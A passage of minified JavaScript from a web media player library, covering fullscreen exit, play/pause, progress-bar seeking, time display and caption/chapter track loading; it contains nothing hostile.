e=this,t=null!==e.media.rendererName&&/(native|html5)/i.test(e.media.rendererName);if(e.isVideo){if(clearTimeout(e.containerSizeTimeout),m.HAS_TRUE_NATIVE_FULLSCREEN&&(m.IS_FULLSCREEN||e.isFullScreen)&&m.cancelFullScreen(),(0,v.removeClass)(p.default.documentElement,e.options.classPrefix+"fullscreen"),(0,v.removeClass)(e.getElement(e.container),e.options.classPrefix+"container-fullscreen"),e.options.setDimensions){if(e.getElement(e.container).style.width=e.normalWidth+"px",e.getElement(e.container).style.height=e.normalHeight+"px",t)e.node.style.width=e.normalWidth+"px",e.node.style.height=e.normalHeight+"px";else for(var n=e.getElement(e.container).querySelectorAll("embed, object, video"),o=n.length,i=0;i<o;i++)n[i].style.width=e.normalWidth+"px",n[i].style.height=e.normalHeight+"px";"function"==typeof e.media.setSize&&e.media.setSize(e.normalWidth,e.normalHeight);for(var r=e.getElement(e.layers).children,a=r.length,s=0;s<a;s++)r[s].style.width=e.normalWidth+"px",r[s].style.height=e.normalHeight+"px"}e.fullscreenBtn&&((0,v.removeClass)(e.fullscreenBtn,e.options.classPrefix+"unfullscreen"),(0,v.addClass)(e.fullscreenBtn,e.options.classPrefix+"fullscreen")),e.setControlsSize(),e.isFullScreen=!1;var l=e.getElement(e.container).querySelector("."+e.options.classPrefix+"captions-text");l&&(l.style.fontSize="",l.style.lineHeight="",e.getElement(e.container).querySelector("."+e.options.classPrefix+"captions-position").style.bottom="");var d=(0,h.createEvent)("exitedfullscreen",e.getElement(e.container));e.getElement(e.container).dispatchEvent(d)}}})},{16:16,2:2,25:25,26:26,27:27,28:28,3:3,5:5}],10:[function(e,t,n){"use strict";var c=r(e(2)),o=e(16),i=r(o),f=r(e(5)),p=e(27),m=e(26);function r(e){return e&&e.__esModule?e:{default:e}}Object.assign(o.config,{playText:null,pauseText:null}),Object.assign(i.default.prototype,{buildplaypause:function(e,t,n,o){var i=this,r=i.options,a=(0,p.isString)(r.playText)?r.playText:f.default.t("mejs.play"),s=(0,p.isString)(r.pauseText)?r.pauseText:f.default.t("mejs.pause"),l=c.default.createElement("div");l.className=i.options.classPrefix+"button "+i.options.classPrefix+"playpause-button "+i.options.classPrefix+"play",l.innerHTML='<button type="button" aria-controls="'+i.id+'" title="'+a+'" aria-label="'+s+'" tabindex="0"></button>',l.addEventListener("click",function(){i.paused?i.play():i.pause()});var d=l.querySelector("button");function u(e){"play"===e?((0,m.removeClass)(l,i.options.classPrefix+"play"),(0,m.removeClass)(l,i.options.classPrefix+"replay"),(0,m.addClass)(l,i.options.classPrefix+"pause"),d.setAttribute("title",s),d.setAttribute("aria-label",s)):((0,m.removeClass)(l,i.options.classPrefix+"pause"),(0,m.removeClass)(l,i.options.classPrefix+"replay"),(0,m.addClass)(l,i.options.classPrefix+"play"),d.setAttribute("title",a),d.setAttribute("aria-label",a))}i.addControlElement(l,"playpause"),u("pse"),o.addEventListener("loadedmetadata",function(){-1===o.rendererName.indexOf("flash")&&u("pse")}),o.addEventListener("play",function(){u("play")}),o.addEventListener("playing",function(){u("play")}),o.addEventListener("pause",function(){u("pse")}),o.addEventListener("ended",function(){e.options.loop||((0,m.removeClass)(l,i.options.classPrefix+"pause"),(0,m.removeClass)(l,i.options.classPrefix+"play"),(0,m.addClass)(l,i.options.classPrefix+"replay"),d.setAttribute("title",a),d.setAttribute("aria-label",a))})}})},{16:16,2:2,26:26,27:27,5:5}],11:[function(e,t,n){"use strict";var p=r(e(2)),o=e(16),i=r(o),m=r(e(5)),y=e(25),E=e(30),b=e(26);function r(e){return e&&e.__esModule?e:{default:e}}Object.assign(o.config,{enableProgressTooltip:!0,useSmoothHover:!0,forceLive:!1}),Object.assign(i.default.prototype,{buildprogress:function(h,s,e,d){var u=0,v=!1,c=!1,g=this,t=h.options.autoRewind,n=h.options.enableProgressTooltip?'<span class="'+g.options.classPrefix+'time-float"><span class="'+g.options.classPrefix+'time-float-current">00:00</span><span class="'+g.options.classPrefix+'time-float-corner"></span></span>':"",o=p.default.createElement("div");o.className=g.options.classPrefix+"time-rail",o.innerHTML='<span class="'+g.options.classPrefix+"time-total "+g.options.classPrefix+'time-slider"><span class="'+g.options.classPrefix+'time-buffering"></span><span class="'+g.options.classPrefix+'time-loaded"></span><span class="'+g.options.classPrefix+'time-current"></span><span class="'+g.options.classPrefix+'time-hovered no-hover"></span><span class="'+g.options.classPrefix+'time-handle"><span class="'+g.options.classPrefix+'time-handle-content"></span></span>'+n+"</span>",g.addControlElement(o,"progress"),g.options.keyActions.push({keys:[37,227],action:function(e){if(!isNaN(e.duration)&&0<e.duration){e.isVideo&&(e.showControls(),e.startControlsTimer());var t=e.getElement(e.container).querySelector("."+g.options.classPrefix+"time-total");t&&t.focus();var n=Math.max(e.currentTime-e.options.defaultSeekBackwardInterval(e),0);e.paused||e.pause(),setTimeout(function(){e.setCurrentTime(n)},0),setTimeout(function(){e.play()},0)}}},{keys:[39,228],action:function(e){if(!isNaN(e.duration)&&0<e.duration){e.isVideo&&(e.showControls(),e.startControlsTimer());var t=e.getElement(e.container).querySelector("."+g.options.classPrefix+"time-total");t&&t.focus();var n=Math.min(e.currentTime+e.options.defaultSeekForwardInterval(e),e.duration);e.paused||e.pause(),setTimeout(function(){e.setCurrentTime(n)},0),setTimeout(function(){e.play()},0)}}}),g.rail=s.querySelector("."+g.options.classPrefix+"time-rail"),g.total=s.querySelector("."+g.options.classPrefix+"time-total"),g.loaded=s.querySelector("."+g.options.classPrefix+"time-loaded"),g.current=s.querySelector("."+g.options.classPrefix+"time-current"),g.handle=s.querySelector("."+g.options.classPrefix+"time-handle"),g.timefloat=s.querySelector("."+g.options.classPrefix+"time-float"),g.timefloatcurrent=s.querySelector("."+g.options.classPrefix+"time-float-current"),g.slider=s.querySelector("."+g.options.classPrefix+"time-slider"),g.hovered=s.querySelector("."+g.options.classPrefix+"time-hovered"),g.buffer=s.querySelector("."+g.options.classPrefix+"time-buffering"),g.newTime=0,g.forcedHandlePause=!1,g.setTransformStyle=function(e,t){e.style.transform=t,e.style.webkitTransform=t,e.style.MozTransform=t,e.style.msTransform=t,e.style.OTransform=t},g.buffer.style.display="none";var i=function(e){var t=getComputedStyle(g.total),n=(0,b.offset)(g.total),o=g.total.offsetWidth,i=void 0!==t.webkitTransform?"webkitTransform":void 0!==t.mozTransform?"mozTransform ":void 0!==t.oTransform?"oTransform":void 0!==t.msTransform?"msTransform":"transform",r="WebKitCSSMatrix"in window?"WebKitCSSMatrix":"MSCSSMatrix"in window?"MSCSSMatrix":"CSSMatrix"in window?"CSSMatrix":void 0,a=0,s=0,l=0,d=void 0;if(d=e.originalEvent&&e.originalEvent.changedTouches?e.originalEvent.changedTouches[0].pageX:e.changedTouches?e.changedTouches[0].pageX:e.pageX,g.getDuration()){if(d<n.left?d=n.left:d>o+n.left&&(d=o+n.left),a=(l=d-n.left)/o,g.newTime=a*g.getDuration(),v&&null!==g.getCurrentTime()&&g.newTime.toFixed(4)!==g.getCurrentTime().toFixed(4)&&(g.setCurrentRailHandle(g.newTime),g.updateCurrent(g.newTime)),!y.IS_IOS&&!y.IS_ANDROID){if(l<0&&(l=0),g.options.useSmoothHover&&null!==r&&void 0!==window[r]){var u=new window[r](getComputedStyle(g.handle)[i]).m41,c=l/parseFloat(getComputedStyle(g.total).width)-u/parseFloat(getComputedStyle(g.total).width);g.hovered.style.left=u+"px",g.setTransformStyle(g.hovered,"scaleX("+c+")"),g.hovered.setAttribute("pos",l),0<=c?(0,b.removeClass)(g.hovered,"negative"):(0,b.addClass)(g.hovered,"negative")}if(g.timefloat){var f=g.timefloat.offsetWidth/2,p=mejs.Utils.offset(g.getElement(g.container)),m=getComputedStyle(g.timefloat);s=d-p.left<g.timefloat.offsetWidth?f:d-p.left>=g.getElement(g.container).offsetWidth-f?g.total.offsetWidth-f:l,(0,b.hasClass)(g.getElement(g.container),g.options.classPrefix+"long-video")&&(s+=parseFloat(m.marginLeft)/2+g.timefloat.offsetWidth/2),g.timefloat.style.left=s+"px",g.timefloatcurrent.innerHTML=(0,E.secondsToTimeCode)(g.newTime,h.options.alwaysShowHours,h.options.showTimecodeFrameCount,h.options.framesPerSecond,h.options.secondsDecimalLength,h.options.timeFormat),g.timefloat.style.display="block"}}}else y.IS_IOS||y.IS_ANDROID||!g.timefloat||(s=g.timefloat.offsetWidth+o>=g.getElement(g.container).offsetWidth?g.timefloat.offsetWidth/2:0,g.timefloat.style.left=s+"px",g.timefloat.style.left=s+"px",g.timefloat.style.display="block")},f=function(){1e3<=new Date-u&&g.play()};g.slider.addEventListener("focus",function(){h.options.autoRewind=!1}),g.slider.addEventListener("blur",function(){h.options.autoRewind=t}),g.slider.addEventListener("keydown",function(e){if(1e3<=new Date-u&&(c=g.paused),g.options.enableKeyboard&&g.options.keyActions.length){var t=e.which||e.keyCode||0,n=g.getDuration(),o=h.options.defaultSeekForwardInterval(d),i=h.options.defaultSeekBackwardInterval(d),r=g.getCurrentTime(),a=g.getElement(g.container).querySelector("."+g.options.classPrefix+"volume-slider");if(38===t||40===t){a&&(a.style.display="block"),g.isVideo&&(g.showControls(),g.startControlsTimer());var s=38===t?Math.min(g.volume+.1,1):Math.max(g.volume-.1,0),l=s<=0;return g.setVolume(s),void g.setMuted(l)}switch(a&&(a.style.display="none"),t){case 37:g.getDuration()!==1/0&&(r-=i);break;case 39:g.getDuration()!==1/0&&(r+=o);break;case 36:r=0;break;case 35:r=n;break;case 13:case 32:return void(y.IS_FIREFOX&&(g.paused?g.play():g.pause()));default:return}r=r<0||isNaN(r)?0:n<=r?n:Math.floor(r),u=new Date,c||h.pause(),setTimeout(function(){g.setCurrentTime(r)},0),r<g.getDuration()&&!c&&setTimeout(f,1100),h.showControls(),e.preventDefault(),e.stopPropagation()}});var r=["mousedown","touchstart"];g.slider.addEventListener("dragstart",function(){return!1});for(var a=0,l=r.length;a<l;a++)g.slider.addEventListener(r[a],function(e){if(g.forcedHandlePause=!1,g.getDuration()!==1/0&&(1===e.which||0===e.which)){g.paused||(g.pause(),g.forcedHandlePause=!0),v=!0,i(e);for(var t=["mouseup","touchend"],n=0,o=t.length;n<o;n++)g.getElement(g.container).addEventListener(t[n],function(e){var t=e.target;(t===g.slider||t.closest("."+g.options.classPrefix+"time-slider"))&&i(e)});g.globalBind("mouseup.dur touchend.dur",function(){v&&null!==g.getCurrentTime()&&g.newTime.toFixed(4)!==g.getCurrentTime().toFixed(4)&&(g.setCurrentTime(g.newTime),g.setCurrentRailHandle(g.newTime),g.updateCurrent(g.newTime)),g.forcedHandlePause&&(g.slider.focus(),g.play()),g.forcedHandlePause=!1,v=!1,g.timefloat&&(g.timefloat.style.display="none")})}},!(!y.SUPPORT_PASSIVE_EVENT||"touchstart"!==r[a])&&{passive:!0});g.slider.addEventListener("mouseenter",function(e){e.target===g.slider&&g.getDuration()!==1/0&&(g.getElement(g.container).addEventListener("mousemove",function(e){var t=e.target;(t===g.slider||t.closest("."+g.options.classPrefix+"time-slider"))&&i(e)}),!g.timefloat||y.IS_IOS||y.IS_ANDROID||(g.timefloat.style.display="block"),g.hovered&&!y.IS_IOS&&!y.IS_ANDROID&&g.options.useSmoothHover&&(0,b.removeClass)(g.hovered,"no-hover"))}),g.slider.addEventListener("mouseleave",function(){g.getDuration()!==1/0&&(v||(g.timefloat&&(g.timefloat.style.display="none"),g.hovered&&g.options.useSmoothHover&&(0,b.addClass)(g.hovered,"no-hover")))}),g.broadcastCallback=function(e){var t,n,o,i,r=s.querySelector("."+g.options.classPrefix+"broadcast");if(g.options.forceLive||g.getDuration()===1/0){if(!r&&g.options.forceLive){var a=p.default.createElement("span");a.className=g.options.classPrefix+"broadcast",a.innerText=m.default.t("mejs.live-broadcast"),g.slider.style.display="none",g.rail.appendChild(a)}}else r&&(g.slider.style.display="",r.remove()),h.setProgressRail(e),g.forcedHandlePause||h.setCurrentRail(e),t=g.getCurrentTime(),n=m.default.t("mejs.time-slider"),o=(0,E.secondsToTimeCode)(t,h.options.alwaysShowHours,h.options.showTimecodeFrameCount,h.options.framesPerSecond,h.options.secondsDecimalLength,h.options.timeFormat),i=g.getDuration(),g.slider.setAttribute("role","slider"),g.slider.tabIndex=0,d.paused?(g.slider.setAttribute("aria-label",n),g.slider.setAttribute("aria-valuemin",0),g.slider.setAttribute("aria-valuemax",isNaN(i)?0:i),g.slider.setAttribute("aria-valuenow",t),g.slider.setAttribute("aria-valuetext",o)):(g.slider.removeAttribute("aria-label"),g.slider.removeAttribute("aria-valuemin"),g.slider.removeAttribute("aria-valuemax"),g.slider.removeAttribute("aria-valuenow"),g.slider.removeAttribute("aria-valuetext"))},d.addEventListener("progress",g.broadcastCallback),d.addEventListener("timeupdate",g.broadcastCallback),d.addEventListener("play",function(){g.buffer.style.display="none"}),d.addEventListener("playing",function(){g.buffer.style.display="none"}),d.addEventListener("seeking",function(){g.buffer.style.display=""}),d.addEventListener("seeked",function(){g.buffer.style.display="none"}),d.addEventListener("pause",function(){g.buffer.style.display="none"}),d.addEventListener("waiting",function(){g.buffer.style.display=""}),d.addEventListener("loadeddata",function(){g.buffer.style.display=""}),d.addEventListener("canplay",function(){g.buffer.style.display="none"}),d.addEventListener("error",function(){g.buffer.style.display="none"}),g.getElement(g.container).addEventListener("controlsresize",function(e){g.getDuration()!==1/0&&(h.setProgressRail(e),g.forcedHandlePause||h.setCurrentRail(e))})},cleanprogress:function(e,t,n,o){o.removeEventListener("progress",e.broadcastCallback),o.removeEventListener("timeupdate",e.broadcastCallback),e.rail&&e.rail.remove()},setProgressRail:function(e){var t=this,n=void 0!==e?e.detail.target||e.target:t.media,o=null;n&&n.buffered&&0<n.buffered.length&&n.buffered.end&&t.getDuration()?o=n.buffered.end(n.buffered.length-1)/t.getDuration():n&&void 0!==n.bytesTotal&&0<n.bytesTotal&&void 0!==n.bufferedBytes?o=n.bufferedBytes/n.bytesTotal:e&&e.lengthComputable&&0!==e.total&&(o=e.loaded/e.total),null!==o&&(o=Math.min(1,Math.max(0,o)),t.loaded&&t.setTransformStyle(t.loaded,"scaleX("+o+")"))},setCurrentRailHandle:function(e){this.setCurrentRailMain(this,e)},setCurrentRail:function(){this.setCurrentRailMain(this)},setCurrentRailMain:function(e,t){if(void 0!==e.getCurrentTime()&&e.getDuration()){var n=void 0===t?e.getCurrentTime():t;if(e.total&&e.handle){var o=parseFloat(getComputedStyle(e.total).width),i=Math.round(o*n/e.getDuration()),r=i-Math.round(e.handle.offsetWidth/2);if(r=r<0?0:r,e.setTransformStyle(e.current,"scaleX("+i/o+")"),e.setTransformStyle(e.handle,"translateX("+r+"px)"),e.options.useSmoothHover&&!(0,b.hasClass)(e.hovered,"no-hover")){var a=parseInt(e.hovered.getAttribute("pos"),10),s=(a=isNaN(a)?0:a)/o-r/o;e.hovered.style.left=r+"px",e.setTransformStyle(e.hovered,"scaleX("+s+")"),0<=s?(0,b.removeClass)(e.hovered,"negative"):(0,b.addClass)(e.hovered,"negative")}}}}})},{16:16,2:2,25:25,26:26,30:30,5:5}],12:[function(e,t,n){"use strict";var a=r(e(2)),o=e(16),i=r(o),s=e(30),l=e(26);function r(e){return e&&e.__esModule?e:{default:e}}Object.assign(o.config,{duration:0,timeAndDurationSeparator:"<span> | </span>"}),Object.assign(i.default.prototype,{buildcurrent:function(e,t,n,o){var i=this,r=a.default.createElement("div");r.className=i.options.classPrefix+"time",r.setAttribute("role","timer"),r.setAttribute("aria-live","off"),r.innerHTML='<span class="'+i.options.classPrefix+'currenttime">'+(0,s.secondsToTimeCode)(0,e.options.alwaysShowHours,e.options.showTimecodeFrameCount,e.options.framesPerSecond,e.options.secondsDecimalLength,e.options.timeFormat)+"</span>",i.addControlElement(r,"current"),e.updateCurrent(),i.updateTimeCallback=function(){i.controlsAreVisible&&e.updateCurrent()},o.addEventListener("timeupdate",i.updateTimeCallback)},cleancurrent:function(e,t,n,o){o.removeEventListener("timeupdate",e.updateTimeCallback)},buildduration:function(e,t,n,o){var i=this;if(t.lastChild.querySelector("."+i.options.classPrefix+"currenttime"))t.querySelector("."+i.options.classPrefix+"time").innerHTML+=i.options.timeAndDurationSeparator+'<span class="'+i.options.classPrefix+'duration">'+(0,s.secondsToTimeCode)(i.options.duration,i.options.alwaysShowHours,i.options.showTimecodeFrameCount,i.options.framesPerSecond,i.options.secondsDecimalLength,i.options.timeFormat)+"</span>";else{t.querySelector("."+i.options.classPrefix+"currenttime")&&(0,l.addClass)(t.querySelector("."+i.options.classPrefix+"currenttime").parentNode,i.options.classPrefix+"currenttime-container");var r=a.default.createElement("div");r.className=i.options.classPrefix+"time "+i.options.classPrefix+"duration-container",r.innerHTML='<span class="'+i.options.classPrefix+'duration">'+(0,s.secondsToTimeCode)(i.options.duration,i.options.alwaysShowHours,i.options.showTimecodeFrameCount,i.options.framesPerSecond,i.options.secondsDecimalLength,i.options.timeFormat)+"</span>",i.addControlElement(r,"duration")}i.updateDurationCallback=function(){i.controlsAreVisible&&e.updateDuration()},o.addEventListener("timeupdate",i.updateDurationCallback)},cleanduration:function(e,t,n,o){o.removeEventListener("timeupdate",e.updateDurationCallback)},updateCurrent:function(){var e=this,t=e.getCurrentTime();isNaN(t)&&(t=0);var n=(0,s.secondsToTimeCode)(t,e.options.alwaysShowHours,e.options.showTimecodeFrameCount,e.options.framesPerSecond,e.options.secondsDecimalLength,e.options.timeFormat);5<n.length?(0,l.addClass)(e.getElement(e.container),e.options.classPrefix+"long-video"):(0,l.removeClass)(e.getElement(e.container),e.options.classPrefix+"long-video"),e.getElement(e.controls).querySelector("."+e.options.classPrefix+"currenttime")&&(e.getElement(e.controls).querySelector("."+e.options.classPrefix+"currenttime").innerText=n)},updateDuration:function(){var e=this,t=e.getDuration();void 0!==e.media&&(isNaN(t)||t===1/0||t<0)&&(e.media.duration=e.options.duration=t=0),0<e.options.duration&&(t=e.options.duration);var n=(0,s.secondsToTimeCode)(t,e.options.alwaysShowHours,e.options.showTimecodeFrameCount,e.options.framesPerSecond,e.options.secondsDecimalLength,e.options.timeFormat);5<n.length?(0,l.addClass)(e.getElement(e.container),e.options.classPrefix+"long-video"):(0,l.removeClass)(e.getElement(e.container),e.options.classPrefix+"long-video"),e.getElement(e.controls).querySelector("."+e.options.classPrefix+"duration")&&0<t&&(e.getElement(e.controls).querySelector("."+e.options.classPrefix+"duration").innerHTML=n)}})},{16:16,2:2,26:26,30:30}],13:[function(e,t,n){"use strict";var L=r(e(2)),d=r(e(7)),F=r(e(5)),o=e(16),i=r(o),m=e(30),j=e(27),I=e(26);function r(e){return e&&e.__esModule?e:{default:e}}Object.assign(o.config,{startLanguage:"",tracksText:null,chaptersText:null,tracksAriaLive:!1,hideCaptionsButtonWhenEmpty:!0,toggleCaptionsButtonWhenOnlyOne:!1,slidesSelector:""}),Object.assign(i.default.prototype,{hasChapters:!1,buildtracks:function(o,e,t,n){if(this.findTracks(),o.tracks.length||o.trackFiles&&0!==!o.trackFiles.length){var i=this,r=i.options.tracksAriaLive?' role="log" aria-live="assertive" aria-atomic="false"':"",a=(0,j.isString)(i.options.tracksText)?i.options.tracksText:F.default.t("mejs.captions-subtitles"),s=(0,j.isString)(i.options.chaptersText)?i.options.chaptersText:F.default.t("mejs.captions-chapters"),l=null===o.trackFiles?o.tracks.length:o.trackFiles.length;if(i.domNode.textTracks)for(var d=i.domNode.textTracks.length-1;0<=d;d--)i.domNode.textTracks[d].mode="hidden";i.cleartracks(o),o.captions=L.default.createElement("div"),o.captions.className=i.options.classPrefix+"captions-layer "+i.options.classPrefix+"layer",o.captions.innerHTML='<div class="'+i.options.classPrefix+"captions-position "+i.options.classPrefix+'captions-position-hover"'+r+'><span class="'+i.options.classPrefix+'captions-text"></span></div>',o.captions.style.display="none",t.insertBefore(o.captions,t.firstChild),o.captionsText=o.captions.querySelector("."+i.options.classPrefix+"captions-text"),o.captionsButton=L.default.createElement("div"),o.captionsButton.className=i.options.classPrefix+"button "+i.options.classPrefix+"captions-button",o.captionsButton.innerHTML='<button type="button" aria-controls="'+i.id+'" title="'+a+'" aria-label="'+a+'" tabindex="0"></button><div class="'+i.options.classPrefix+"captions-selector "+i.options.classPrefix+'offscreen"><ul class="'+i.options.classPrefix+'captions-selector-list"><li class="'+i.options.classPrefix+'captions-selector-list-item"><input type="radio" class="'+i.options.classPrefix+'captions-selector-input" name="'+o.id+'_captions" id="'+o.id+'_captions_none" value="none" checked disabled><label class="'+i.options.classPrefix+"captions-selector-label "+i.options.classPrefix+'captions-selected" for="'+o.id+'_captions_none">'+F.default.t("mejs.none")+"</label></li></ul></div>",i.addControlElement(o.captionsButton,"tracks"),o.captionsButton.querySelector("."+i.options.classPrefix+"captions-selector-input").disabled=!1,o.chaptersButton=L.default.createElement("div"),o.chaptersButton.className=i.options.classPrefix+"button "+i.options.classPrefix+"chapters-button",o.chaptersButton.innerHTML='<button type="button" aria-controls="'+i.id+'" title="'+s+'" aria-label="'+s+'" tabindex="0"></button><div class="'+i.options.classPrefix+"chapters-selector "+i.options.classPrefix+'offscreen"><ul class="'+i.options.classPrefix+'chapters-selector-list"></ul></div>';for(var u=0,c=0;c<l;c++){var f=o.tracks[c].kind;o.tracks[c].src.trim()&&("subtitles"===f||"captions"===f?u++:"chapters"!==f||e.querySelector("."+i.options.classPrefix+"chapter-selector")||o.captionsButton.parentNode.insertBefore(o.chaptersButton,o.captionsButton))}o.trackToLoad=-1,o.selectedTrack=null,o.isLoadingTrack=!1;for(var p=0;p<l;p++){var m=o.tracks[p].kind;!o.tracks[p].src.trim()||"subtitles"!==m&&"captions"!==m||o.addTrackButton(o.tracks[p].trackId,o.tracks[p].srclang,o.tracks[p].label)}o.loadNextTrack();var h=["mouseenter","focusin"],v=["mouseleave","focusout"];if(i.options.toggleCaptionsButtonWhenOnlyOne&&1===u)o.captionsButton.addEventListener("click",function(e){var t="none";null===o.selectedTrack&&(t=o.tracks[0].trackId);var n=e.keyCode||e.which;o.setTrack(t,void 0!==n)});else{for(var g=o.captionsButton.querySelectorAll("."+i.options.classPrefix+"captions-selector-label"),y=o.captionsButton.querySelectorAll("input[type=radio]"),E=0,b=h.length;E<b;E++)o.captionsButton.addEventListener(h[E],function(){(0,I.removeClass)(this.querySelector("."+i.options.classPrefix+"captions-selector"),i.options.classPrefix+"offscreen")});for(var S=0,x=v.length;S<x;S++)o.captionsButton.addEventListener(v[S],function(){(0,I.addClass)(this.querySelector("."+i.options.classPrefix+"captions-selector"),i.options.classPrefix+"offscreen")});for(var w=0,P=y.length;w<P;w++)y[w].addEventListener("click",function(e){var t=e.keyCode||e.which;o.setTrack(this.value,void 0!==t)});for(var T=0,C=g.length;T<C;T++)g[T].addEventListener("click",function(e){var t=(0,I.siblings)(this,function(e){return"INPUT"===e.tagName})[0],n=(0,j.createEvent)("click",t);t.dispatchEvent(n),e.preventDefault()});o.captionsButton.addEventListener("keydown",function(e){e.stopPropagation()})}for(var k=0,_=h.length;k<_;k++)o.chaptersButton.addEventListener(h[k],function(){this.querySelector("."+i.options.classPrefix+"chapters-selector-list").children.length&&(0,I.removeClass)(this.querySelector("."+i.options.classPrefix+"chapters-selector"),i.options.classPrefix+"offscreen")});for(var N=0,A=v.length;N<A;N++)o.chaptersButton.addEventListener(v[N],function(){(0,I.addClass)(this.querySelector("."+i.options.classPrefix+"chapters-selector"),i.options.classPrefix+"offscreen")});o.chaptersButton.addEventListener("keydown",function(e){e.stopPropagation()}),o.options.alwaysShowControls?(0,I.addClass)(o.getElement(o.container).querySelector("."+i.options.classPrefix+"captions-position"),i.options.classPrefix+"captions-position-hover"):(o.getElement(o.container).addEventListener("controlsshown",function(){(0,I.addClass)(o.getElement(o.container).querySelector("."+i.options.classPrefix+"captions-position"),i.options.classPrefix+"captions-position-hover")}),o.getElement(o.container).addEventListener("controlshidden",function(){n.paused||(0,I.removeClass)(o.getElement(o.container).querySelector("."+i.options.classPrefix+"captions-position"),i.options.classPrefix+"captions-position-hover")})),n.addEventListener("timeupdate",function(){o.displayCaptions()}),""!==o.options.slidesSelector&&(o.slidesContainer=L.default.querySelectorAll(o.options.slidesSelector),n.addEventListener("timeupdate",function(){o.displaySlides()}))}},cleartracks:function(e){e&&(e.captions&&e.captions.remove(),e.chapters&&e.chapters.remove(),e.captionsText&&e.captionsText.remove(),e.captionsButton&&e.captionsButton.remove(),e.chaptersButton&&e.chaptersButton.remove())},rebuildtracks:function(){var e=this;e.findTracks(),e.buildtracks(e,e.getElement(e.controls),e.getElement(e.layers),e.media)},findTracks:function(){var e=this,t=null===e.trackFiles?e.node.querySelectorAll("track"):e.trackFiles,n=t.length;e.tracks=[];for(var o=0;o<n;o++){var i=t[o],r=i.getAttribute("srclang").toLowerCase()||"",a=e.id+"_track_"+o+"_"+i.getAttribute("kind")+"_"+r;e.tracks.push({trackId:a,srclang:r,src:i.getAttribute("src"),kind:i.getAttribute("kind"),label:i.getAttribute("label")||"",entries:[],isLoaded:!1})}},setTrack:function(e,t){for(var n=this,o=n.captionsButton.querySelectorAll('input[type="radio"]'),i=n.captionsButton.querySelectorAll("."+n.options.classPrefix+"captions-selected"),r=n.captionsButton.querySelector('input[value="'+e+'"]'),a=0,s=o.length;a<s;a++)o[a].checked=!1;for(var l=0,d=i.length;l<d;l++)(0,I.removeClass)(i[l],n.options.classPrefix+"captions-selected");r.checked=!0;for(var u=(0,I.siblings)(r,function(e){return(0,I.hasClass)(e,n.options.classPrefix+"captions-selector-label")}),c=0,f=u.length;c<f;c++)(0,I.addClass)(u[c],n.options.classPrefix+"captions-selected");if("none"===e)n.selectedTrack=null,(0,I.removeClass)(n.captionsButton,n.options.classPrefix+"captions-enabled");else for(var p=0,m=n.tracks.length;p<m;p++){var h=n.tracks[p];if(h.trackId===e){null===n.selectedTrack&&(0,I.addClass)(n.captionsButton,n.options.classPrefix+"captions-enabled"),n.selectedTrack=h,n.captions.setAttribute("lang",n.selectedTrack.srclang),n.displayCaptions();break}}var v=(0,j.createEvent)("captionschange",n.media);v.detail.caption=n.selectedTrack,n.media.dispatchEvent(v),t||setTimeout(function(){n.getElement(n.container).focus()},500)},loadNextTrack:function(){var e=this;e.trackToLoad++,e.trackToLoad<e.tracks.length?(e.isLoadingTrack=!0,e.loadTrack(e.trackToLoad)):(e.isLoadingTrack=!1,e.checkForTracks())},loadTrack:function(e){var t=this,n=t.tracks[e];void 0===n||void 0===n.src&&""===n.src||(0,I.ajax)(n.src,"text",function(e){n.entries="string"==typeof e&&/<tt\s+xml/gi.exec(e)?d.default.TrackFormatParser.dfxp.parse(e):d.default.TrackFormatParser.webvtt.parse(e),n.isLoaded=!0,t.enableTrackButton(n),t.loadNextTrack(),"slides"===n.kind?t.setupSlides(n):"chapters"!==n.kind||t.hasChapters||(t.drawChapters(n),t.hasChapters=!0)},function(){t.removeTrackButton(n.trackId),t.loadNextTrack()})},enableTrackButton:function(e){var t=this,n=e.srclang,o=L.default.getElementById(""+e.trackId);if(o){var i=e.label;""===i&&(i=F.default.t(d.default.language.codes[n])||n),o.disabled=!1;for(var r=(0,I.siblings)(o,function(e){return(0,I.hasClass)(e,t.options.classPrefix+"captions-selector-label")}),a=0,s=r.length;a<s;a++)r[a].innerHTML=i;if(t.options.startLanguage===n){o.checked=!0;var l=(0,j.createEvent)("click",o);o.dispatchEvent(l)}}},removeTrackButton:function(e){var t=L.default.getElementById(""+e);if(t){var n=t.closest("li");n&&n.remove()}},addTrackButton:function(e,t,n){var o=this;""===n&&(n=F.default.t(d.default.language.codes[t])||t),o.captionsButton.querySelector("ul").innerHTML+='<li class="'+o.options.classPrefix+'captions-selector-list-item"><input type="radio" class="'+o.options.classPrefix+'captions-selector-input" name="'+o.id+'_captions" id="'+e+'" value="'+e+'" disabled><label class="'+o.options.classPrefix+'captions-selector-label"for="'+e+'">'+n+" (loading)</label></li>"},checkForTracks:function(){var e=this,t=!1;if(e.options.hideCaptionsButtonWhenEmpty){for(var n=0,o=e.tracks.length;n<o;n++){var i=e.tracks[n].kind;if(("subtitles"===i||"captions"===i)&&e.tracks[n].isLoaded){t=!0;break}}e.captionsButton.style.display=t?"":"none",e.setControlsSize()}},displayCaptions:function(){if(void 0!==this.tracks){var e=this,t=e.selectedTrack;if(null!==t&&t.isLoaded){var n=e.searchTrackPosition(t.entries,e.media.currentTime);if(-1<n){var o=t.entries[n].text;return"function"==typeof e.options.captionTextPreprocessor&&(o=e.options.captionTextPreprocessor(o)),e.captionsText.innerHTML=function(e){var t=L.default.createElement("div");t.innerHTML=e;for(var n=t.getElementsByTagName("script"),o=n.length;o--;)n[o].remove();for(var i=t.getElementsByTagName("*"),r=0,a=i.length;r<a;r++)for(var s=i[r].attributes,l=Array.prototype.slice.call(s),d=0,u=l.length;d<u;d++)l[d].name.startsWith("on")||l[d].value.startsWith("javascript")?i[r].remove():"style"===l[d].name&&i[r].removeAttribute(l[d].name);return t.innerHTML}(o),e.captionsText.className=e.options.classPrefix+"captions-text "+(t.entries[n].identifier||""),e.captions.style.display="",void(e.captions.style.height="0px")}e.captions.style.display="none"}else e.captions.style.display="none"}},setupSlides:function(e){this.slides=e,this.slides.entries.imgs=[this.slides.entries.length],this.showSlide(0)},showSlide:function(e){var i=this,r=this;if(void 0!==r.tracks&&void 0!==r.slidesContainer){var t=r.slides.entries[e].text,n=r.slides.entries[e].imgs;if(void 0===n||void 0===n.fadeIn){var a=L.default.createElement("img");a.src=t,a.addEventListener("load",function(){var e=i,t=(0,I.siblings)(e,function(e){return t(e)});e.style.display="none",r.slidesContainer.innerHTML+=e.innerHTML,(0,I.fadeIn)(r.slidesContainer.querySelector(a));for(var n=0,o=t.length;n<o;n++)(0,I.fadeOut)(t[n],400)}),r.slides.entries[e].imgs=n=a}else if(!(0,I.visible)(n)){var 